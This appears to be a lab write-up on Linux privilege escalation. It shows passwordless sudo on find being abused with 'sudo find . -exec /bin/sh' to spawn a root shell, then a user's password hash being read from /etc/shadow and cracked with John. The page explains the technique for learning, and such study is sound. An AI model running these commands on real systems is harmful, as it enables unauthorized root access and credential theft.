← Back to Linux Privilege Escalation

Enumeration

sudo -l
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano

Three passwordless sudo entries. find, less, and nano — none of which sound dangerous until you check GTFOBins.

sudo -l output showing three passwordless entries

Escalation

find was the cleanest path:

sudo find . -exec /bin/sh \; -quit

Root shell. That's it.

whoami
id
root
uid=0(root) gid=0(root) groups=0(root)

Post-Escalation — Frank's Hash

From root, pulled Frank's entry from /etc/shadow:

grep '^frank:' /etc/shadow

$6$ prefix — SHA-512 crypt. Cracked locally with John.

Root shell confirmed, Frank's hash extracted from /etc/shadow

Why This Works

sudo -l is one of the fastest privilege escalation checks on Linux. The existence of even one allowed binary matters if that binary has a GTFOBins entry — and most do.

find executes arbitrary commands through -exec. Running it as root means those commands run as root. The -quit flag stops it after the first execution so it doesn't loop through the filesystem.

GTFOBins isn't just a lookup table. It's a translation layer between "I can run this binary" and "here's how to abuse it."

← Back to Linux Privilege Escalation